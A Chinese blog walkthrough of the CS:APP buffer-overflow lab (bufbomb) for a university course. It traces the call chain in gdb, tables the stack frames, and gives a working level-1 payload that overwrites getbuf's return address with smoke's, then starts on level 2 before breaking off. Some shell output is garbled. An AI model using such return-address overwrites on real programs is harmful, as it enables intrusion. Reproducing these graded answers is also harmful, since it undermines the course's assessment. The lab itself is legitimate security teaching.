西工大计院计算机系统基础实验三前三关

最新推荐文章于 2024-07-08 22:09:55 发布
最新推荐文章于 2024-07-08 22:09:55 发布
阅读量1.6k 收藏 22
点赞数 32
文章标签： linux 运维 ubuntu 服务器
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/a15735748145a/article/details/135101831
版权

作者在写作本文时，一方面参考了计院和网安院所给的实验三的PPT，另一方面参考了CSAPP官网的实验部分的bufferlab实验的buflab32.pdf这份pdf文件。

1. 大概了解下能拿到的三份文件

​ 首先解压缩拿到的文件包。解压缩文件包之后，进入得到的文件夹，看到了三个文件。第一个文件是bufbomb文件，第二个文件是makecookie文件，第三个文件是hex2raw文件。这三个文件的作用分别是什么呢？这三个文件的作用分别是：

  1. bufbomb文件是我们将要攻击的可执行文件。
  2. makecookie文件能够基于我们的学号产生一串cookie值。
  3. hex2raw文件是一个转换字符串格式的工具。

​ 接下来，因为我们只拿到了这三个文件，所以为了解题，我们不得不深入研究这三个文件。因为这三个文件都是可执行文件，所以我们能够通过三个命令"./bufbomb"，“./makecookie”，"./hex2raw"去执行这三个文件，进而获取一些信息。

  1. 因为bufbomb文件是个可执行文件，所以我们尝试使用"./bufbomb"命令去执行它。用"./bufbomb"命令执行该文件，却发现返回了如下的内容：

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb
./bufbomb: Missing required argument (-u <userid)
Usage: ./bufbomb -u [-p ] [-nsh]
-u User ID
-p Password
-n Nitro mode
-s Submit your solution to the grading server
-h Print help information
npusec@ubuntu:~/Desktop/3/buflab2021301381$

​ 根据返回的内容的提示，我们缺少必要的"-u"选项以及"-u"选项的参数。所以我们根据提示，修正我们的命令 为"./bufbomb -u 2021301381"，接着输入该命令，得到了：

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb -u 2021301381
Userid: 2021301381
Cookie: 0x666b63a4
Type string:

​ 按照该命令的返回结果，我们输入一个字符串"abcde"，发现结果为：

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb -u 2021301381
Userid: 2021301381
Cookie: 0x666b63a4
Type string:abcde
Dud: getbuf returned 0x1
Better luck next time

​ 至此，这就是我们在不输入密码的情况下，能够获得的最多的消息。如果还想获得更多的消息的话，我们还 需要使用objdump命令反汇编，以得到bufbomb的汇编代码。但在此之前，我们先实际运行makecookie文 件与hex2raw文件。

  1. 使用"./makecookie"命令运行makecookie这个可执行文件，发现什么也没有得到。而如果在makecookie文件的后面，再输入我们的学号，也就是"./makecookie 2021301381"，即可得到：

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./makecookie 2021301381
0x666b63a4
npusec@ubuntu:~/Desktop/3/buflab2021301381$

​ 而命令"./makecookie 2021301381"所返回的结果0x666b63a4，正好是命令"./bufbomb -u 2021301381"的 返回结果的第二行的内容。

  1. 使用"./hex2raw"命令运行hex2raw这个可执行文件，发现它将会等待我们继续输入。私底下反复尝试后，发现hex2raw这个可执行文件并不像makecookie那么简单。因此，我们换一种思路，如下所示：

npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat example1.txt
61 62 63 64 65 66 67 68 69 70
61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat example1.txt | ./hex2raw
abcdefghipabcdefghijklmnop
npusec@ubuntu:~/Desktop/3/buflab2021301381$

​ 因此我们可以得知，hex2raw这个文件的功能就是，将ASCII码值转换为对应的字符形式。

2. 重点了解能拿到的三份文件中的bufbomb文件

​ 实际运行完成三个文件之后，我们回过头来，使用objdump命令进行反汇编，以得到bufbomb的汇编代码，如下图所示：

npusec@ubuntu:~/Desktop/3/buflab2021301381$ objdump -d bufbomb > bufbomb.s
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ls | grep bufbomb.s
bufbomb.s
npusec@ubuntu:~/Desktop/3/buflab2021301381$

​ 因为无论是什么可执行文件，总是从main函数部分开始执行。因为bufbomb也是一个可执行文件，所以 bufbomb文件也会从main函数部分开始执行。所以打开bufbomb.s文件之后，直接定位到main函数的汇编代码部分，然后进行查看，如下图所示：

在这里插入图片描述

​ 通过阅读main函数，我们发现main函数调用了好多函数，按第一次出现的先后顺序进行统计，分别有：signal@plt，getopt@plt，usage，__ strdup@plt，gencookie，__ printf_chk@plt，initialize_bomb，srandom@plt，random@plt，calloc@plt，launcher。这么多函数，到底哪个才是我们应该研究的对象呢？这时就需要使用gdb进行调试。因为bufbomb文件会从main函数部分开始执行，所以使用命令"b main"将断点打在main函数处。因为只是单纯使用命令"r"执行bufbomb文件的效果等同于"./bufbomb"，会因为缺少"-u"选项以及"-u"选项的参数而无法成功运行，所以使用命令"r -u 2021301381"指定选项"-u"以及选项"-u"选项的参数。如下图所示：

在这里插入图片描述

​ 怎么样才能知道我们需要研究哪个函数呢？我们需要的函数就是，需要我们输入字符串的那个函数。哪个函数需要我们输入字符串呢？如下图所示：

在这里插入图片描述

​ 因此，main函数所调用的launcher函数，就是我们需要研究的函数。可是问题来了，其它的函数是做什么的呢？这个问题留到寒假再去解答吧，现在先去看launcher函数。既然main函数调用了launcher函数，那么我们有必要画出，在函数main执行0x80491a8 <main+553> call 8048edch < launcher >指令之前，函数栈帧的情况，注意是之前！之前！之前！

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main%ebp
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main%esp

​ 接着重新"gdb bufbomb"，“b *0x80491a8”，“r -u 2021301381”，然后下一步**不是使用"ni"以执行下一条指令，而是使用”step"进入到launcher函数内部！**如下图所示：

在这里插入图片描述

在这里插入图片描述

​ 那么问题来了，我们该研究launcher函数中的哪个函数呢？同样的方法，我们需要研究的函数就是，需要我们输入字符串的那个函数。那么哪个函数需要我们输入字符串呢？如下图所示：

在这里插入图片描述

​ 因此，函数main所调用的函数launcher所调用的函数launch，就是我们需要研究的函数。同样的，函数launcher所调用的其它的函数是做什么的呢？这个问题留到寒假再去解答吧，现在先去看launch函数。既然launcher函数调用了launch函数，那么我们有必要画出，在函数launcher执行0x8048f5c <launcher+128> call 8048e46h < launch >指令之前，函数栈帧的情况，注意是之前！之前！之前！

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher%ebp
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher%esp

​ 在这里，至于为什么，函数launcher的栈帧是如此的大，作者也不清楚，但是却并不影响我们对题目的理解，所以继续做下去。重新"gdb bufbomb"，“b *0x8048f5c”，“r -u 2021301381”，然后下一步**不是使用"ni"以执行下一条指令，而是使用”step"进入到launch函数内部！**如下图所示：

在这里插入图片描述

在这里插入图片描述

​ 此时问题又来了，我们该研究launch函数中的哪个函数呢？同样的方法，我们需要研究的函数就是，需要我们输入字符串的那个函数。那么哪个函数需要我们输入字符串呢？如下图所示：

在这里插入图片描述

​ 因此，函数main所调用的函数launcher所调用的函数launch所调用的函数test，就是我们需要研究的函数。同样的，函数launch所调用的其它的函数是做什么的呢？这个问题留到寒假再去解答吧，现在先去看test函数。既然launch函数调用了test函数，那么我们有必要画出，在函数launch执行0x8048e9e <launch+88> call 8048d5ch < test >指令之前，函数栈帧的情况，注意是之前！之前！之前！

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch%ebp
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch%esp

​ 继续做下去。重新"gdb bufbomb"，“b *0x8048e9e”，“r -u 2021301381”，然后下一步**不是使用"ni"以执行下一条指令，而是使用”step"进入到test函数内部！**如下图所示：

在这里插入图片描述

在这里插入图片描述

​ 此时问题还是又来了，我们该研究test函数中的哪个函数呢？同样的方法，我们需要研究的函数就是，需要我们输入字符串的那个函数。那么哪个函数需要我们输入字符串呢？如下图所示：

在这里插入图片描述

​ 因此，函数main所调用的函数launcher所调用的函数launch所调用的函数test所调用的getbuf函数，就是我们需要研究的函数。同样的，函数test所调用的其它的函数是做什么的呢？这个问题留到寒假再去解答吧，现在先去看getbuf函数。既然test函数调用了getbuf函数，那么我们有必要画出，在函数test执行0x8048d6b <test+15> call 80491c1h < getbuf >指令之前，函数栈帧的情况，注意是之前！之前！之前！

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test%ebp
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test%esp

​ 继续做下去。重新"gdb bufbomb"，“b *0x8048d6b”，“r -u 2021301381”，然后下一步**不是使用"ni"以执行下一条指令，而是使用”step"进入到getbuf函数内部！**如下图所示：

在这里插入图片描述

在这里插入图片描述

​ 而getbuf函数内，只调用了一个函数Gets，所以，函数main所调用的函数launcher所调用的函数launch所调用的函数test所调用的getbuf函数所调用的Gets函数，就是我们需要研究的函数。同样的，函数getbuf所调用的其它的函数是做什么的呢？这个问题留到寒假再去解答吧，现在先去看Gets函数。既然getbuf函数调用了Gets函数，那么我们有必要画出，在函数getbuf执行 80491cb: e8 d6 fa ff ff call 8048ca6 < Gets >指令之前，函数栈帧的情况，注意是之前！之前！之前！

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x08048d70函数getbuf的返回地址，也就是当函数getbuf执行完毕之后，将返回到test函数中的哪个地方去。可以通过命令"x 0x556834b4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的test函数部分节选的代码：
8048d6b: e8 51 04 00 00 call 80491c1
8048d70: 89 c3 mov %eax,%ebx		test
0x556834b0getbuf%ebp
0x556834acgetbuf
0x556834a8getbuf
… …getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

​ 继续做下去。重新"gdb bufbomb"，“b *0x80491cb”，“r -u 2021301381”，然后下一步**不是使用"ni"以执行下一条指令，而是使用”step"进入到Gets函数内部！**如下图所示：

在这里插入图片描述

在这里插入图片描述

​ 此时问题还是又来了，我们该研究Gets函数中的哪个函数呢？同样的方法，我们需要研究的函数就是，需要我们输入字符串的那个函数。那么哪个函数需要我们输入字符串呢？如下图所示：

在这里插入图片描述

​ 因此，函数main所调用的函数launcher所调用的函数launch所调用的函数test所调用的getbuf函数所调用的Gets函数所调用的_ IO_getc@plt函数，就是我们需要研究的函数。同样的，函数Gets所调用的其它的函数是做什么的呢？这个问题留到寒假再去解答吧。这时_ IO_getc@plt函数看上去长得很奇怪，所以我们选择不去研究它，而是先尝试性的输入"abc"，观察会有什么情况出现。

在这里插入图片描述

​ 我们发现，函数Gets执行四次_ IO_getc@plt之后，便回到了getbuf函数。

在这里插入图片描述

​ 并且0x55683488到0x5568348c这四个内存地址分别保存的是：

pwndbg> x 0x55683488
0x55683488 <_reserved+1037448>: 0x00636261
pwndbg>

​ 正好是’a’, ‘b’, 'c’的ASCII码值！！！此时函数栈帧如下图所示：

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x08048d70函数getbuf的返回地址，也就是当函数getbuf执行完毕之后，将返回到test函数中的哪个地方去。可以通过命令"x 0x556834b4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的test函数部分节选的代码：
8048d6b: e8 51 04 00 00 call 80491c1
8048d70: 89 c3 mov %eax,%ebx		test
0x556834b0getbuf%ebp
0x556834acgetbuf
0x556834a8getbuf
… …getbuf
0x556834880x00636261getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

​ 因此，Gets函数的作用就是，读取我们输入的字符串，将我们输入的字符串的ASCII码值存放到函数getbuf的栈帧中的指定位置中去。

3. 搞清楚bufbomb文件中的函数调用关系

​ bufbomb文件中的函数调用关系可以用函数栈帧图表示，即：函数main调用函数launcher，函数launcher调用函数launch，函数launch调用函数test，函数test调用函数getbuf，函数getbuf调用函数Gets。

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x08048d70函数getbuf的返回地址，也就是当函数getbuf执行完毕之后，将返回到test函数中的哪个地方去。可以通过命令"x 0x556834b4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的test函数部分节选的代码：
8048d6b: e8 51 04 00 00 call 80491c1
8048d70: 89 c3 mov %eax,%ebx		test
0x556834b0getbuf%ebp
0x556834acgetbuf
0x556834a8getbuf
… …getbuf
0x556834880x00636261函数getbuf调用函数Gets，函数Gets读取我们输入的字符串"abc"之后返回函数getbuf的结果。getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

4. 第1关

​ 根据CSAPP官网上的实验部分的bufferlab实验的buflab32.pdf这份pdf文件，我们得知第一关的任务是：

当getbuf函数执行完毕，准备返回时，并不是返回到调用getbuf的函数test那儿去，而是返回到一个新的名叫smoke的函数那儿去。

​ 因为函数getbuf执行结束之后，决定返回地址的方式，是通过%ebp+4来确定的，并且%ebp指向了函数getbuf的栈帧的底部，所以为了让函数getbuf执行完毕之后，不返回到函数test，而是返回到一个新的函数smoke，我们需要修改内存地址0x556834b4处的内容，让其不为0x08048d70，而是0x08048bde（0x08048bde就是函数smoke的地址，也是函数smoke首行指令的地址）

08048bde :
8048bde: 55 push %ebp
8048bdf: 89 e5 mov %esp,%ebp
8048be1: 83 ec 14 sub $0x14,%esp
8048be4: 68 6f a3 04 08 push $0x804a36f
8048be9: e8 a2 fc ff ff call 8048890 puts@plt
8048bee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048bf5: e8 e7 06 00 00 call 80492e1
8048bfa: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c01: e8 aa fc ff ff call 80488b0 exit@plt

​ 那么，如何修改内存地址0x556834b4处的内容，让其不为0x08048d70，而是0x08048bde呢？我们可以输入一串很长很长的字符串，这样子当函数getbuf调用函数Gets，函数Gets读取我们输入的字符串，然后返回函数getbuf的结果，即为如下图所示的样子：

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c		launch
0x556834d0test
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x08048bde被修改之后，函数getbuf的返回地址.test
0x556834b00x00000000getbuf%ebp
0x556834ac0x00000000getbuf
0x556834a80x00000000getbuf
… …… …getbuf
0x556834880x00000000函数getbuf调用函数Gets，函数Gets读取我们输入的字符串之后返回函数getbuf的结果。getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

​ 这串很长很长的字符串的ASCII码值应该长什么样子呢？应该长这个样子：00 00 … … de 8b 04 08。那么问题来了，这中间有多少个00呢？0x556834b4-0x55683488个0x00，也就是有0x556834b4-0x55683488个00，也就是有0x2c个00，也就是有44个00。所以最终的字符串的ASCII码值应该是：00 00 … … 00 00（44个00）, de 8b 04 08。如何产生44个00呢？可以使用下面的脚本：

#!/bin/bash
output_file="output.txt"
for ((i=0; i<44; i++))
do
    echo -n "00 " >> $output_file
done

npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat bash1.sh
#!/bin/bash
output_file=“output.txt”
for ((i=0; i<44; i++))
do
echo -n "00 " >> o u t p u t f i l e d o n e n p u s e c @ u b u n t u :   / D e s k t o p / 3 / b u f l a b 2021301381 output_file done npusec@ubuntu:~/Desktop/3/buflab2021301381 outputf​iledonenpusec@ubuntu: /Desktop/3/buflab2021301381 chmod u+x bash1.sh
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bash1.sh
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 npusec@ubuntu:~/Desktop/3/buflab2021301381$

接着再在output.txt文件的最后面，添加"de 8b 04 08"，注意’de’的前面没有空格，因为44个0x00中，每个00后面都已经有了空格！

接着使用hex2raw文件，将我们的output.txt文件进行转换，生成一个二进制文件output.bin。生成二进制文件之后，使用命令"./bufbomb < output.bin -u 2021301381"，即可成功通过第一关！

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./hex2raw < output.txt > output.bin

npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output.bin
ދ
npusec@ubuntu:~/Desktop/3/buflab2021301381$ xxd output.bin
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000020: 0000 0000 0000 0000 0000 0000 de8b 0408 …
00000030: 0a .
npusec@ubuntu:~/Desktop/3/buflab2021301381$

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb < output.bin -u 2021301381
Userid: 2021301381
Cookie: 0x666b63a4
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
npusec@ubuntu:~/Desktop/3/buflab2021301381$

5. 第二关

​ 第二关，我们的任务是，让bufbomb这个可执行文件在执行完毕函数getbuf并且准备返回时，并不是返回到函数test，而是返回到fizz函数，也就是执行完函数getbuff之后，本应返回到函数test中的"8048d6b: e8 51 04 00 00 call 80491c1 “的下一行代码”8048d70: 89 c3 mov %eax,%ebx"中，结果返回到了函数fizz的第一行代码"8048c06: 55 push %ebp”。此外，让我们的cookie值作为传递给函数fizz的第一个参数。根据上述分析，得知我们的任务可以被拆分为两点：

  1. 函数getbuf的返回地址需要被修改为函数fizz的第一行汇编代码；
  2. 函数getbuf执行结束，开始执行函数fizz的第一行汇编代码时，函数fizz的拿到的第一个参数应该是我们的cookie值。

而函数getbuf的返回地址被保存在0x556834b4，函数fizz的第一行汇编代码的地址为0x8048c06；所以，我们的任务可以进一步认为是：

  1. 0x556834b4这个内存地址处存放的值应为0x8048c06；
  2. 函数getbuf执行结束，开始执行函数fizz的第一行汇编代码时，函数fizz的拿到的第一个参数应该是我们的cookie值。

08048c06 :
8048c06: 55 push %ebp
8048c07: 89 e5 mov %esp,%ebp
8048c09: 83 ec 08 sub $0x8,%esp
8048c0c: 8b 45 08 mov 0x8(%ebp),%eax
8048c0f: 3b 05 40 d1 04 08 cmp 0x804d140,%eax
8048c15: 75 21 jne 8048c38 <fizz+0x32>
8048c17: 83 ec 04 sub $0x4,%esp
8048c1a: 50 push %eax
8048c1b: 68 8a a3 04 08 push $0x804a38a
8048c20: 6a 01 push $0x1
8048c22: e8 49 fd ff ff call 8048970 __printf_chk@plt
8048c27: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c2e: e8 ae 06 00 00 call 80492e1
8048c33: 83 c4 10 add $0x10,%esp
8048c36: eb 13 jmp 8048c4b <fizz+0x45>
8048c38: 83 ec 04 sub $0x4,%esp
8048c3b: 50 push %eax
8048c3c: 68 88 a1 04 08 push $0x804a188
8048c41: 6a 01 push $0x1
8048c43: e8 28 fd ff ff call 8048970 __printf_chk@plt
8048c48: 83 c4 10 add $0x10,%esp
8048c4b: 83 ec 0c sub $0xc,%esp
8048c4e: 6a 00 push $0x0
8048c50: e8 5b fc ff ff call 80488b0 exit@plt

​ 在函数getbuf正常的执行自己的"ret"这条汇编指令前的一瞬间，函数栈帧为：

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址，也就是当函数launcher执行完毕之后，将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码：
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp		main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址，也就是当函数launch执行完毕之后，将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码：
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax		launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址，也就是当函数test执行完毕之后，将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码：
8048e9e: e8 b9 fe ff ff call 8048d5c
